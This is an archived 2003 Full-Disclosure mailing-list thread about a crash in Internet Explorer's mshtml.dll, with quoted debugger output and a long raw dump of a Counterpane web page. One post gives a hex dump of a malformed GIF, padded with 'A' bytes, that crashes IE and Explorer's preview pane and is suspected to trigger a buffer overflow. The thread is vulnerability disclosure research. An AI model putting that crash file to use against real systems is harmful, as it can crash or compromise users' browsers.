[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Full-Disclosure] New Microsoft Internet Explorer mshtml.dll Denial of Service?



This is helpful.  In addition, thanks to a file format breakdown by
Caraciola I was able to more reliably crash my IE.  By taking the last
data block in the file and extending it by a few hundred bytes, I think
I have found that an overflow exists.  I have begun debugging it, but I
don't have a lot of good windows tools available to me, so someone else
should give it a shot (and post to the list).

The file I created, based on the original:

00000000   47 49 46 38  39 61 01 00  01 00 80 00  GIF89a......
0000000C   00 FF FF FF  00 00 00 21  F9 04 01 00  .......!....
00000018   00 00 00 2C  00 00 00 00  01 00 01 00  ...,........
00000024   00 00 01 41  41 41 41 41  41 41 41 41  ...AAAAAAAAA
00000030   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
0000003C   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
00000048   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
00000054   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
00000060   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
0000006C   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
00000078   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
00000084   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
00000090   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
0000009C   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
000000A8   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
000000B4   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
000000C0   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
000000CC   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
000000D8   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
000000E4   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
000000F0   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
000000FC   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
00000108   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
00000114   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
00000120   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
0000012C   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
00000138   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
00000144   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
00000150   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
0000015C   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
00000168   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
00000174   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
00000180   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
0000018C   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
00000198   41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAA
000001A4   41 41 41 41  41 41 41 41  41 41 00 3B  AAAAAAAAAA.;


It appears the subroutine that parses the gif image allocates a buffer
of length based on the size indicated in the data block.  Then it
proceeds to read the data block, looking for a 0x00 (or some other
end-of-block identifier) to quit.  It doesn't limit itself to the block
size when copying data from the file.

I have not been able to determine whether this is a heap or stack
overflow.

However, after some fiddling, I have found this problem also affects
explorer.exe.  Copy the file to a folder in windows, and turning
on your image preview pane (web content pane, whatever that rubbish is
on the left side) while viewing that directory.  Then click on the file,
and when the preview pane tries to render the image, sometimes it
crashes.

Since a seperate thread of execution does the parsing, race conditions
are probably what is making the crashes inconsistent.

Anyone else have more to offer?

tim


On Tue, Sep 02, 2003 at 05:38:43PM +0200, nonleft@xxxxxxx wrote:
> crashes on my side as well
> 
> win XP no packets in place.
> so I run my debugger: (sorry german)
> 
> Der Thread 'Win32 Thread' (0x818) hat mit Code 0 (0x0) geendet.
> Unbehandelte Ausnahme bei 0x00000005 in : 0xC0000005:
> Zugriffsverletzung-Leseposition 0x00000005.
> Eine Ausnahme (erste Chance) bei 0x00000005 in : 0xC0000005:
> Zugriffsverletzung-Leseposition 0x00000005.
> Unbehandelte Ausnahme bei 0x00000005 in : 0xC0000005:
> Zugriffsverletzung-Leseposition 0x00000005.
> 
> well it tries to do a read function in the memory, were it has not business
> to do :-)
> and this causes the system failure and the program has to be restarted
>  
> 7FFE02FC  add         byte ptr [eax],al 
> 7FFE02FE  add         byte ptr [eax],al 
> 7FFE0300  mov         edx,esp 
> 7FFE0302  sysenter         
> 7FFE0304  ret              
> 7FFE0305  pushfd           
> 7FFE0306  or          dword ptr [esp],100h 
> 7FFE030D  popfd            
> 7FFE030E  ret              <---- here comes the downfall :-)
> 7FFE030F  mov         edx,esp 
> 7FFE0311  syscall          
> 7FFE0313  ret              
> 7FFE0314  nop              
> 7FFE0315  pushfd           
> 7FFE0316  or          dword ptr [esp],100h 
> 
> so it comes from:
> 
>         7ffe0304()      
>         ntdll.dll!77f6f4af()    
>         ntdll.dll!77f6e265()    
>         mshtml.dll!74877f58()   
> >       mshtml.dll!74877576()   
>  that was it on my machine.....
> 
> reproduced it twice.
> but i could not see what this behavior evoked in the html code?!?!
> first i thought could have something to do with the embedded scripts, but
> doesn't seem so....   
> 
> btw not using Outlook (and i could not see why this should have something to
> do with it)
> 
> 
> mfg/kind regards 
> 
> nonleft
> At 13:53 02.09.2003 +0200, you wrote:
> 
> Hi,
> 
> > No, I am very sure that this happens also, if you follow the link inside
> > a web page only (without an involving mail client).
> 
> > So go to http://www.counterpane.com/crypto-gram.html , scroll down and
> > click the link that says "Holger Hasselbach has translated several
> > issues of Crypto-Gram into German [...]". The error occurs as described
> > in my original posting.
> 
> 
> well i tried
> 
> windows 2003 server no updates
> 
> first time i clicked it page closed after 5 seconds
> 
> second time nothing happened
> 
> third time it closed after 5 seconds
> 
> well 4th time nothing happened
> 
> 5th time closed again
> 
> eaach time i spawned a new ie-window with the link and then followed
> the one in the bottom
> 
> mfg
> 
> Michel Zobel 
> Software Entwicklung 
> hnw health network GmbH i.G.
> 
> -- 
> COMPUTERBILD 15/03: Premium-e-mail-Dienste im Test
> --------------------------------------------------
> 1. GMX TopMail - Platz 1 und Testsieger!
> 2. GMX ProMail - Platz 2 und Preis-Qualit?tssieger!
> 3. Arcor - 4. web.de - 5. T-Online - 6. freenet.de - 7. daybyday - 8. e-Post
> HTTP/1.1 200 OK
> Date: Tue, 02 Sep 2003 15:21:25 GMT
> Server: Apache
> Last-Modified: Thu, 28 Aug 2003 19:52:06 GMT
> ETag: "2dc9a-9cb7-3f4e5d66"
> Accept-Ranges: bytes
> Content-Length: 40119
> Connection: close
> Content-Type: text/html
> 
> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
> 
> <html>
> 
> <head>
> 
>  <title>Counterpane: Crypto-Gram</title>
>  
>  <link rel="STYLESHEET" type="text/css" href="cp.css">
>  
>  <script></script>
>  <script src="scripts/cp-5.js"></script>
> 
>  <script>
>  
>  var nameMenus = new Array('menuCompany', 'menuServices', 'menuCustomers', 
> 'menuNews', 'menuLibrary', 'menuSite', 'menuContact');
>  var menuImgNames = new Array();
>  menuImgNames['menuCompany'] = 'nav_4_company';
>  menuImgNames['menuServices'] = 'nav_4_services';
>  menuImgNames['menuCustomers'] = 'nav_5_customers';
>  menuImgNames['menuNews'] = 'nav_new_news';
>  menuImgNames['menuLibrary'] = 'nav_new_library';
>  menuImgNames['menuSite'] = 'nav_new_site';
>  menuImgNames['menuContact'] = 'nav_5_contact';
>  
>  function init(){
>    
>    loaded = true;
>    if (ns4) {
>   window.captureEvents(Event.RESIZE);
>   window.onresize = netscapeResize;
>   document.alinkColor="#666666";
>   document.vlinkColor="#666666";
>    }
>    else if (!ie4 && DOM) {
>   document.getElementById("menuCompany").style.display = "";
>     document.getElementById("menuServices").style.display = "";
>   document.getElementById("menuCustomers").style.display = "";
>     document.getElementById("menuNews").style.display = "";
>   document.getElementById("menuLibrary").style.display = "";
>   document.getElementById("menuSite").style.display = "";
>   document.getElementById("menuContact").style.display = "";
>    }
>    
>    returnLayer("menuCompany");
>    returnLayer("menuServices");
>    returnLayer("menuCustomers");
>    returnLayer("menuNews");
>    returnLayer("menuLibrary");
>    returnLayer("menuSite");
>    returnLayer("menuContact");
>  }
>  </script>
> </head>
> 
> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" 
> onLoad="init()" alink="#666666" vlink="#666666" bgcolor="#FFFFFF" 
> text="#000000">   
> 
> 
> <!-- top navigation ------------------------------------------>
> <table width="100%" cellspacing="0" cellpadding="0" border="0">
> 
>   <tr>
>   
>     <!-- logo ------------------------------------------------>
>    <td width="146"  bgcolor="#FFFFFF"><a href="index.html"><img 
> src="images/cplogo.gif" alt="COUNTERPANE LOGO" border="0" width="132" 
> height="87" hspace="5" vspace="15"></a><br>
>   <img src="images/clear.gif" alt="" border="0" width="146" height="10" 
> vspace=0 hspace=0></td>
>  
>  <td width="100%" valign="top" align="left" height=70>
>  
>    <!-- menu bar -->
>       <table width="100%" cellspacing="0" cellpadding="0" border="0">
>           <tr bgcolor="#001851">
>           <script language="JavaScript" type="text/javascript">
>     <!--
>       document.writeln('<td width="76"><a href="#" 
> onMouseover="menuOn(\'menuCompany\')" 
> onMouseout="overChecker(\'menuCompany\')"><img name="nav_4_company" 
> src="images/nav_4_company.gif" width="76" height="26" border="0"></a></td>');
>       document.writeln('<td width="78"><a href="#" 
> onMouseover="menuOn(\'menuServices\')" 
> onMouseout="overChecker(\'menuServices\')"><img name="nav_4_services" 
> src="images/nav_4_services.gif" width="78" height="26" border="0"></a></td>');
>       document.writeln('<td width="78"><a href="#" 
> onMouseover="menuOn(\'menuCustomers\')" 
> onMouseout="overChecker(\'menuCustomers\')"><img name="nav_5_customers" 
> src="images/nav_5_customers.gif" width="78" height="26" 
> border="0"></a></td>');
>       document.writeln('<td width="78"><a href="#" 
> onMouseover="menuOn(\'menuNews\')" 
> onMouseout="overChecker(\'menuNews\')"><img name="nav_new_news" 
> src="images/nav_new_news.gif" width="78" height="26" border="0"></a></td>');
>       document.writeln('<td width="78"><a href="#" 
> onMouseover="menuOn(\'menuLibrary\')" 
> onMouseout="overChecker(\'menuLibrary\')"><img name="nav_new_library" 
> src="images/nav_new_library.gif" width="78" height="26" 
> border="0"></a></td>');
>       document.writeln('<td width="78"><a href="#" 
> onMouseover="menuOn(\'menuSite\')" 
> onMouseout="overChecker(\'menuSite\')"><img name="nav_new_site" 
> src="images/nav_new_site.gif" width="78" height="26" border="0"></a></td>');
>       document.writeln('<td width="78"><a href="#" 
> onMouseover="menuOn(\'menuContact\')" 
> onMouseout="overChecker(\'menuContact\')"><img name="nav_5_contact" 
> src="images/nav_5_contact.gif" width="78" height="26" border="0"></a></td>');
> 
>     //-->
>     </script>
>     <noscript>
> <td width="76"><a href="#"><img alt="" src="images/clear.gif" width="76" 
> height="26" border="0"></a></td>
> <td width="78"><a href="#"><img alt="" src="images/clear.gif" width="78" 
> height="26" border="0"></a></td>
> <td width="78"><a href="#"><img alt="" src="images/clear.gif" width="78" 
> height="26" border="0"></a></td>
> <td width="78"><a href="#"><img alt="" src="images/clear.gif" width="78" 
> height="26" border="0"></a></td>
> <td width="78"><a href="#"><img alt="" src="images/clear.gif" width="78" 
> height="26" border="0"></a></td>
> <td width="78"><a href="#"><img alt="" src="images/clear.gif" width="78" 
> height="26" border="0"></a></td>
> <td width="70"><a href="sitemap.html"><img alt="SITE MAP" 
> src="images/nav_new_sitemap.gif" width="70" height="26" border="0"></a></td>  
>   
>     </noscript>
>    <td width="70"><img src="images/clear.gif" alt="" width="70" height="5" 
> border="0"></td>
>             <td width="14"><img src="images/clear.gif" alt="" width="14" 
> height="1"></td>
>             <td width="2"><img src="images/clear.gif" alt="" width="2" 
> height="1"></td>
>           <td background="images/angle.gif" width="100%" 
> bgcolor="#FFFFFF"><img src="images/clear.gif" alt="" width="1" 
> height="1"></td>
>           </tr>
>     
>           <tr height="4" bgcolor="#CCCCCC"> 
>             <td colspan="8"><img src="images/clear.gif" alt="" width="92" 
> height="4"></td>
>             <td width="25"><img src="images/clear.gif" alt="" width="25" 
> height="4"></td>
>             <td><img src="images/clear.gif" alt="" width="1" height="4"></td>
>           <td width="100%" bgcolor="#FFFFFF" 
> background="images/angle_bottom.gif"><img src="images/clear.gif" alt="" 
> width="1" height="4"></td>
>           </tr>
> 
>       </table>
>  </td>
>   </tr>
> 
> </table>
> 
> <!-- end top navigation -->
> 
> 
> 
> <!---- global table ------------------------->
> <table cellpadding="0" cellspacing="0" border="0" width="558">
> 
>   <tr>
> 
>     <!-------------- left column 
> ----------------------------------------------------> 
> 
>     <td valign="top" width="146" bgcolor="#CCCCCC">
>  
>    <!---- highlights ------------------------->
>    <img src="images/topleft_whatsnew.gif" alt="What's New" border="0" 
> width="146" height="18"><br>
>    
>    <table cellpadding="0" cellspacing="0" border="0" width="146">
>     <tr>
>     <td><img src="images/clear.gif" alt="" border="0" width="6" 
> height="1"></td>
>     <td><table cellpadding="0" cellspacing="0" border="0" width="134">
>      <tr>
>        <td><img src="images/clear.gif" alt="" border="0" width="1" 
> height="10"></td></tr>
> 
> <!--ignore_perlfect_search-->
> <!-- begin highlights -->
> 
> 
> <tr><td class="leftcol"><a href="pr-20030825.html">Counterpane Delivers 
> Industry's Most Comprehensive Managed Security Services</a></td></tr>
> 
> <tr><td><img src="images/clear.gif" alt="" border="0" width="1" 
> height="14"></td></tr>
> 
> <tr><td class="leftcol"><a href="alerts.html">Security Alerts: Nachi Worm, 
> New SoBig Variant</a></td></tr>
> 
> <tr><td><img src="images/clear.gif" alt="" border="0" width="1" 
> height="14"></td></tr>
> 
> <tr><td class="leftcol"><a href="pr-20030813.html">Paul Stich Assumes Role of 
> President and CEO</a></td></tr>
> 
> <tr><td><img src="images/clear.gif" alt="" border="0" width="1" 
> height="14"></td></tr>
> 
> <tr><td class="leftcol"><a href="pr-20030715.html">Counterpane Announces 
> Record Second Quarter Results</a></td></tr>
> 
> <tr><td><img src="images/clear.gif" alt="" border="0" width="1" 
> height="14"></td></tr>
> 
> <tr><td class="leftcol"><a href="pr-20030625.html">Bruce Schneier Testifies 
> at Hearing of Homeland Security Subcommittee</a></td></tr>
> 
> <tr><td><img src="images/clear.gif" alt="" border="0" width="1" 
> height="14"></td></tr>
> 
> <tr><td class="leftcol"><a href="pr-sclifetime.html">Secure Computing 
> Magazine Honors Bruce Schneier with Lifetime Achievement Award</a></td></tr>
> 
> <tr><td><img src="images/clear.gif" alt="" border="0" width="1" 
> height="14"></td></tr>
> 
> <tr><td class="leftcol"><a href="pr-hs.html">Counterpane Strengthens 
> Executive Team with the Additions of Doug Howard and Kevin 
> Senator</a></td></tr>
> 
> <tr><td><img src="images/clear.gif" alt="" border="0" width="1" 
> height="14"></td></tr>
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> <!-- end highlights -->
> <!--/ignore_perlfect_search-->
> 
>      <tr><td><img src="images/clear.gif" alt="" border="0" width="1" 
> height="14"></td></tr>     
>     </table>
>    </td>
>   </tr>
>  </table>
>  
> 
> 
> <!---- search form ------------------------->
>  <table cellpadding="0" cellspacing="0" border="0" width="146">
>   <tr><td colspan=2><img src="images/dottedline.gif" alt="" border="0" 
> width="146" height="1"></td></tr>
>   <tr><td colspan=2><img src="images/search_header.gif" alt="Search" 
> border="0" width=38 height=16 hspace="5"></td></tr>
>   <tr><td colspan=2><img src="images/dottedline.gif" alt="" border="0" 
> width="146" height="1"></td></tr>
>   <tr><td colspan=2><img src="images/clear.gif" alt="" border="0" width="1" 
> height="10"></td></tr>
>  <tr valign=middle><form name="searchForm" action="/search/search.pl"><td 
> align=left class="black-text" valign=top>
>      <!-- conditional sizing of search field, based on browser -->
>               <script language="JavaScript" type="text/javascript">
>      <!--
>      if(ns4 && !mac) {document.writeln('<input type="text" class="black-text" 
> size="8" name="q">');}
>      else if (ns4 && mac) {document.writeln('<input type="text" size="11" 
> class="black-text" name="q" onFocus="scrollTo(0,0)">');}  
>      else if (ie4 && mac) {document.writeln('<input type="text" size="15" 
> name="q">');}
>      else {document.writeln('<input type="text" size="16" class="black-text" 
> name="q">');}
>      //-->
>      </script>
>      <noscript><input type="text" size="8" class="black-text" 
> name="q"></noscript>
> 
>  
>  </td><td><input WIDTH=24 HEIGHT=15 type="image" name="q" 
> src="images/search_button2.gif" alt="GO" hspace=2 
> border="0"></td></form></tr></table>
> 
> 
> 
> <!------- end of left column------------------->
> </td>
> 
> <!---spacer----><td width="8"><img src="images/clear.gif" alt="" border="0" 
> width="8" height="1"><br></td>
> 
>  <!-------------- middle column 
> ------------------------------------------------------->
>  <td valign="top" width="404">
>    <table cellpadding="0" cellspacing="0" border="0" width="404">
>    <tr>
>      <td><img src="images/header_crypto.gif" alt="Crypto-Gram Newsletter" 
> border="0" width=199 height=14></td>
>    </tr>
>    <tr><td bgcolor="#cccccc"><img src="images/clear.gif" alt="" border="0" 
> width="404" height="1"></td></tr>
>    </table>
>      <table cellpadding="0" cellspacing="0" border="0" width="404">
>           <tr>
>       <td valign="bottom" align="left"> <!---- title 
> -------------------------> 
>               <table cellpadding="0" cellspacing="0" border="0" width="403">
>                 <tr> 
>                   <td width="393" align="left" valign="top"> 
>                     <p><img src="images/clear.gif" alt="" border="0" 
> width="1" height="10"></p>
> 
>               <table width="393" border="0" cellspacing="0" cellpadding="4">
> 
> 
> <TR><TD colspan=2>
> <P class="black-text">Crypto-Gram is a <STRONG>free</STRONG> monthly e-mail 
> newsletter on computer security and cryptography from 
> <a href="schneier.html">Bruce Schneier</a>
> (author of <a href="sandl.html">Secrets and Lies</a> and <a 
> href="applied.html">Applied Cryptography</a>, inventor of <a 
> href="blowfish.html">Blowfish</a>
> and <a href="twofish.html">Twofish</a>,
> CTO and founder of <a href="/">Counterpane Internet Security, Inc.</a>,
> general <a href="pitfalls.html">crypto pundit</a>
> and occasional 
> <a href="whycrypto.html">crypto curmudgeon</a>).
> 
> <P class="black-text"><STRONG class="black-bold-text">Subscriptions</STRONG>
> <BR>To subscribe to the list, send e-mail to <a 
> href="mailto:crypto-gram-subscribe@xxxxxxxxxxxxxxxxx";>our subscription 
> address</a> from the address you wish to subscribe.  You will receive a 
> confirmation message; reply to that message to finalize your subscription.
> 
> <P class="black-text"><a 
> href="http://www.counterpane.com/unsubform.html";>More details on subscribing 
> and unsubscribing</a>
> 
> <P class="black-text">Our <a href="#privacy">privacy statement</a> is below.
> 
> <P class="black-text"><STRONG class="black-bold-text">Issues</STRONG>
> </TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0308.html">15 Aug 2003</a></TH>
> <TD class="black-text">Beyond Fear, flying on someone else's plane ticket, 
> hidden text in computer documents</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0307.html">15 Jul 2003</a></TH>
> <TD class="black-text">How to fight, more e-mail filtering idiocy, Password 
> Safe, crying wolf</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0306.html">15 Jun 2003</a></TH>
> <TD class="black-text">Cyber-terrorism, self-destructing DVDs, attacking 
> virtual machines, auditable tasers</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0305.html">15 May 2003</a></TH>
> <TD class="black-text">Encryption and wiretapping, receipts, unique e-mail 
> addresses and spam</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0304.html">15 Apr 2003</a></TH>
> <TD class="black-text">Postal denial-of-service, baseball, NCIC database 
> accuracy</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0303.html">15 Mar 2003</a></TH>
> <TD class="black-text">Practical Cryptography, SSL flaw, SSL patent case, 
> woodland ants</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0302.html">15 Feb 2003</a></TH>
> <TD class="black-text">Locks and full disclosure, SQL Slammer, importance of 
> authentication</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0301.html">15 Jan 2003</a></TH>
> <TD class="black-text">Militaries and cyber-war, cichlid fish, RMAC 
> authentication mode</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0212.html">15 Dec 2002</a></TH>
> <TD class="black-text">Counterattack, Department of Homeland Security, Dan 
> Cooper, crime</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0211.html">15 Nov 2002</a></TH>
> <TD class="black-text">New book, Japanese honeybees, choose your own Doghouse 
> candidate</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0210.html">15 Oct 2002</a></TH>
> <TD class="black-text">National Strategy to Secure Cyberspace, more on AES 
> cryptanalysis, one-time pads</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0209.html">15 Sep 2002</a></TH>
> <TD class="black-text">Word 97 vulnerability, AES news, Reveal, The 
> Odyssey</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0208.html">15 Aug 2002</a></TH>
> <TD class="black-text">Palladium and the TCPA, license to hack, arming 
> airline pilots</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0207.html">15 Jul 2002</a></TH>
> <TD class="black-text">Embedded control systems and security, Perrun 
> virus</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0206.html">15 Jun 2002</a></TH>
> <TD class="black-text">Fixing intelligence failures, more on secrecy and 
> security</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0205.html">15 May 2002</a></TH>
> <TD class="black-text">Secrecy, security, and obscurity; fun with fingerprint 
> readers</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0204.html">15 Apr 2002</a></TH>
> <TD class="black-text">How to think about security, liability and security, 
> key length</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0203.html">15 Mar 2002</a></TH>
> <TD class="black-text">SNMP, IETF &quot;Responsible Disclosure&quot; 
> document, Bernstein's factoring paper</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0202.html">15 Feb 2002</a></TH>
> <TD class="black-text">Judging Microsoft, Oracle's &quot;unbreakable&quot; 
> database</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0201.html">15 Jan 2002</a></TH>
> <TD class="black-text">Windows UPnP vulnerability, Password Safe 2.0, AGS 
> Encryptions</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0112.html">15 Dec 2001</a></TH>
> <TD class="black-text">National ID cards, judges punish bad security, fun 
> with vulnerability scanners</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0111.html">15 Nov 2001</a></TH>
> <TD class="black-text">Full disclosure, GOVNET, Password Safe vulnerability, 
> Windows XP</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0110.html">15 Oct 2001</a></TH>
> <TD class="black-text">Cyberterrorism and cyberhooliganism, war on terrorism, 
> SSSCA, Nimda, port 80</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0109a.html">30&nbsp;Sep&nbsp;2001</a></TH>
> <TD class="black-text">Special issue on the Sep. 11 terrorist attacks and 
> their aftermath
> <BR><a 
> href="http://zeusnews.com/index.php3?ar=stampa&cod=838&ar2=stampa&numero=999";>Italian
>  translation by Paolo Attivissimo</a></TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0109.html">15&nbsp;Sep&nbsp;2001</a></TH>
> <TD class="black-text">11 September 2001, NSA's dual counter mode, Microsoft 
> root certificate program</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0108.html">15&nbsp;Aug&nbsp;2001</a></TH>
> <TD class="black-text">DMCA, Code Red, copyright protection, cybercrime 
> treaty</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0107.html">15&nbsp;Jul&nbsp;2001</a></TH>
> <TD class="black-text">Phone hacking: the next generation, monitoring 
> first</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0106.html">15&nbsp;Jun&nbsp;2001</a></TH>
> <TD class="black-text">Honeypots and Honeynet, Invicta Networks, DDOS attacks 
> on grc.com</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0105.html">15&nbsp;May&nbsp;2001</a></TH>
> <TD class="black-text">Military history, digital copy prevention, security 
> standards, safe personal computing</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0104.html">15&nbsp;Apr&nbsp;2001</a></TH>
> <TD class="black-text">Advantages of defense, CSI computer crime survey, fake 
> Microsoft certificates</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0103.html">15&nbsp;Mar&nbsp;2001</a></TH>
> <TD class="black-text">The security patch treadmill, insurance, death of IDS, 
> 802.11 security</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0102.html">15&nbsp;Feb&nbsp;2001</a></TH>
> <TD class="black-text">CPRM, an intentional backdoor, e-mail filter idiocy, 
> air gaps, internet voting</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0101.html">15&nbsp;Jan&nbsp;2001</a></TH>
> <TD class="black-text">A cyber UL?, SafeMessage, social engineering, code 
> signing in Windows</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0012.html">15&nbsp;Dec&nbsp;2000</a></TH>
> <TD class="black-text">Voting and technology, digital safe-deposit boxes, new 
> bank privacy regs</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0011.html">15&nbsp;Nov&nbsp;2000</a></TH>
> <TD class="black-text">Digital signatures, SDMI hacking challenge, Microsoft 
> hack</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0010.html">15&nbsp;Oct&nbsp;2000</a></TH>
> <TD class="black-text">Semantic attacks, cybercrime treaty, NSA on security, 
> AES announced</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0009.html">15&nbsp;Sep&nbsp;2000</a></TH>
> <TD class="black-text">Full disclosure, Carnivore, FBI and the Olympics, 
> Facemail, PGP vulnerability</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0008.html">15&nbsp;Aug&nbsp;2000</a></TH>
> <TD class="black-text">Secrets and Lies, &quot;Crime in Cyberspace&quot; 
> convention, Authentica, Bluetooth</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0007.html">15&nbsp;Jul&nbsp;2000</a></TH>
> <TD class="black-text">Full disclosure and the CIA, presidential password, 
> lockmaking, Unicode</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0006.html">15&nbsp;Jun&nbsp;2000</a></TH>
> <TD class="black-text">SOAP, Java and viruses, DES, Infraworks</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0005.html">15&nbsp;May&nbsp;2000</a></TH>
> <TD class="black-text">Microsoft vs. Slashdot, Cybercrime treaty, Trusted 
> client software, ILOVEYOU</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0004.html">15&nbsp;Apr&nbsp;2000</a></TH>
> <TD class="black-text">AES conference, French banking card hack, Microsoft 
> Active Setup, UCITA</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0003.html">15&nbsp;Mar&nbsp;2000</a></TH>
> <TD class="black-text">Kerberos and Win2K, software burglary tools, UCITA, 
> software complexity</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0002.html">15&nbsp;Feb&nbsp;2000</a></TH>
> <TD class="black-text">Distributed denial-of-service, Chinese crypto regs, 
> publicizing vulnerabilities</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-0001.html">15&nbsp;Jan&nbsp;2000</a></TH>
> <TD class="black-text">Publicity attacks, new encryption regs, Netscape, 
> block and stream ciphers</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-9912.html">15&nbsp;Dec&nbsp;1999</a></TH>
